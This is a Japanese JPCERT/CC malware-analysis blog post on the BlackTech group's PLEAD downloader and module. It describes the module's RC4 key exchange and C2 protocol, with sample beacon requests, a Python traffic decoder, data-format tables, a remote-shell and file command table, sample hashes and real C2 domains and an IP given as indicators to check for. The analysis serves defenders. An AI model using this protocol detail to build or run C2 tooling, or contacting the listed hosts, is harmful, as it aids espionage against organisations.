攻撃グループBlackTechが使うマルウエアPLEADダウンローダ (2018-05-28)
前回の分析センターだより では攻撃グループBlackTech[1]が使用していると考えられるマルウエアTSCookie について紹介しました。この攻撃グループはその他にもPLEADと呼ばれるマルウエアを使用することが分かっています。(PLEADは複数のマルウエア種別名(TSCookieを含む)とそのマルウエアを使用した攻撃キャンペーン名として使用されています[2]。ここではPLEADをTSCookieとは異なるマルウエア種別名として使用します。)PLEADにはRATタイプと、ダウンローダタイプ(以降、PLEADダウンローダと記載する)が存在します。RATタイプは複数のコマンドを持ち、命令を受信することによって動作します。(詳しくは、LAC社が公開しているブログ[3]の「攻撃手口3」をご覧ください。)PLEADダウンローダは、TSCookieと同じくモジュールをダウンロードし、メモリ上で実行します。(上記ブログ内の「攻撃手口2」に該当します。)
今回は、PLEADダウンローダの詳細について紹介します。
PLEADダウンローダの挙動
前述した通りPLEADダウンローダは、特定のサイトから「モジュール」をダウンロードします。ダウンロードするモジュールはRC4で暗号化されています。図1は、実際にサーバから暗号化されたファイルをダウンロードした例です。
ダウンロードしたファイルは先頭の20hがRC4のキーになっています。ダウンロードしたファイルを復号すると、モジュール(以降では、PLEADモジュールと記載します)や通信先、通信に使用する暗号化のキーなどが含まれています。図2はダウンロードしたファイルを復号した例です。
PLEADダウンローダは復号したデータに含まれるPLEADモジュールをメモリ上に展開し、実行します。このPLEADモジュールはファイルとして保存されることはなく、メモリ上にのみ存在します。以降では、このPLEADモジュールの詳細について記載します。
PLEAD モジュールの挙動の詳細
PLEADモジュールはC2サーバから命令を受信することによって動作します。C2サーバとの通信データは、RC4で暗号化されてさらにLZOで圧縮されています。暗号化に使用するRC4のキーは、自身が作成したものとC2サーバから送信されたものを組み合わせて使用します。図3はPLEADモジュールの通信の流れを示しています。
初めにPLEADモジュールは通信に使用するRC4キーをC2サーバと共有します。以下は、初めに送信するHTTP GETリクエストの例です。Cookieヘッダーに暗号化されたRC4キーが含まれています。なお、Cookieヘッダーで送信されるデータは”D”と”E”を逆転させています。送信するデータのフォーマットについては、Appendix A表A-1、A-2をご覧ください。
GET /index.php?id=1577061168 HTTP/1.1 Cache-Control: no-cache Accept: */* Pragma: no-cache Cookie: 800809D6411C6E2629001900A92309EB26192117C5A59F306E207A8993A2F20121FC3B42B6DF693838 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: [ホスト名] Connection: Keep-Alive
データの暗号化に使用されるRC4キーは5つのブロック32バイト(4 Byte * 4 + 16 Byte * 1)で構成されています。キーの最初のブロック(図3のKey1)はPLEADモジュールの設定情報に含まれています。2番目と3番目(図3のKey2、Key3)は最初のHTTP GETリクエストでは0がセットされています。4番目のブロック(図3のKey4)は送信前にランダムに作成され、URLのid以降の値として送信されます。5番目のブロック(図3のKey5)は、Key4の値を基に作成されています。
最初に送信されたデータにはKey2の値が含まれています。サーバは送られてきたキーを利用してKey3の値を暗号化し、送信します。受信するデータのフォーマットについてはAppendix A表A-3、A-4をご覧ください。以降の送受信はこのやり取りで作成したRC4キーを利用して行われます。
def decode(key1, key2, key3, key4, data, lzo_header): rc4_key = key1 + pack("III", key2, key3, key4) for i in xrange(4): key4 = ROR(key4 + 1, 5) rc4_key += pack("I", key4) dec = rc4(data, rc4_key) try: return lzo.decompress(lzo_header + dec) except: sys.exit("[!] Lzo decompress error.")
PLEADモジュールはRC4キーの共有が終わるとHTTP POSTリクエストで感染ホストの情報を送信します。送信するデータのフォーマットは、Appendix A表A-1と同一です。
POST /index.php?id=2852129559 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: [ホスト名] Content-Length: [データサイズ] Connection: Keep-Alive Cache-Control: no-cache [データ]
送信するデータには感染ホストのホスト名やOSのバージョン情報、IPアドレス、感染したユーザのアカウント名などが含まれています。図4は送信したデータをデコードした例です。
その後、サーバからはコマンドが送信されます。PLEADモジュールは受信したコマンドに応じて以下の機能などを実行します。
- ファイルの一覧送信
- 任意のシェルコマンド実行
- ファイルのアップロード・ダウンロード
- ファイル関連の操作
(コマンドの詳細についてはAppendix B表B-1をご覧ください)
おわりに
前回も説明した通りこの攻撃グループはこれまで様々なマルウエアを使用して日本の組織を攻撃しています。今後もこの攻撃グループによる攻撃は続く可能性があるため、注意が必要です。
今回解説した検体のハッシュ値に関しては、Appendix Cに記載しています。また、これまでJPCERT/CCで確認している最近のPLEADダウンローダの通信先はAppendix Dに記載していますので、このような通信先にアクセスしている端末がないかご確認ください。
分析センター 朝長 秀誠
参考情報
[1]トレンドマイクロ: 「BlackTech」によるサイバー諜報活動の足跡を追う
http://blog.trendmicro.co.jp/archives/15393
[2]トレンドマイクロ: Following the Trail of BlackTech’s Cyber Espionage Campaigns
https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf
[3]ラック: 攻撃者グループ "BlackTech"による "PLEAD"を使った日本への攻撃を確認
https://www.lac.co.jp/lacwatch/people/20180425_001625.html
Appendix A PLEADモジュールの送受信データの内容
表 A-1: Cookieヘッダーに含まれるデータのフォーマット
オフセット | 長さ | 内容 |
0x00 | 4 | ハッシュ値 |
0x04 | 4 | RC4キー(Key1) |
0x08 | 2 | 送信データ長 |
0x0A | 2 | オフセット0x0Cのデータの圧縮前の長さ |
0x0C | - | 暗号化されたデータ(RC4+LZO)(詳しくは表A-2を参照) |
※ Cookieヘッダーに含まれるデータは”D”と”E”が逆転している
表 A-2: Cookieヘッダーに含まれる暗号化されたデータのフォーマット
オフセット | 長さ | 内容 |
0x00 | 2 | 0x0000 |
0x02 | 4 | RC4キー(Key2) |
0x06 | - | 乱数 |
表 A-3: 受信データのフォーマット
オフセット | 長さ | 内容 |
0x00 | 4 | RC4キー(Key2) |
0x04 | 4 | ハッシュ値 |
0x08 | 4 | RC4キー(Key1) |
0x0C | 2 | オフセット0x0Eのデータの圧縮前の長さ |
0x0E | - | 暗号化されたデータ(RC4+LZO)(詳しくは表A-4を参照) |
表 A-4: 受信データに含まれる暗号化されたデータのフォーマット
オフセット | 長さ | 内容 |
0x00 | 2 | 0x0001 |
0x02 | 4 | RC4キー(Key3) |
Appendix B PLEADモジュールのコマンド
表 B-1: コマンド一覧
値 | 内容 |
0x100 | ファイル一覧の送信 |
0x105 | ファイルサイズの送信 |
0x107 | ファイルの移動 |
0x109 | ファイルの削除 |
0x10B | ファイルのアップロード |
0x10D | ファイルの実行 |
0x10F | ファイルの実行(レジストリエントリの値から実行) |
0x111 | ディレクトリの作成 |
0x113 | ファイルの移動 |
0x115 | ディレクトリの削除 |
0x200 | ファイルまたはディレクトリ情報の送信 |
0x203 | ディレクトリの作成 |
0x206 | ファイルのダウンロード |
0x207 | ファイル情報の送信 |
0x20B | ファイルのアップロード |
0x300 | リモートシェルの起動およびコマンド実行 |
0x305 | フカレントディレクトリの移動 |
0x307 | リモートシェルの終了 |
0x309 | カレントディレクトリのファイル一覧の送信 |
0x30C | ファイルの削除または属性変更 |
0x404 | プロキシセットアップ |
0x406 | プロキシデータ送信 |
0x408 | プロキシデータ受信 |
0x40A | プロキシ停止 |
Appendix C 検体のSHA-256ハッシュ値
PLEAD
- bc2c8cc9896cdd5816509f43cb5dca7433198251d754a997a70db7e8ed5cca40
- a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940
- 2ddb2030ab3373b9438102b541aa4623b7dfee972850dcef05742ecbe8982e22
- eec3f761f7eabe9ed569f39e896be24c9bbb8861b15dbde1b3d539505cd9dd8d
PLEADモジュール
- 23f554cc5bea9d4ccd62b0bbccaa4599f225ebce4ad956a576cc1a9b2a73dc15
Appendix D 通信先一覧
- em.totalpople.info
- office.panasocin.com
- gstrap.jkub.com
- woc.yasonbin.info
- 210.71.209.206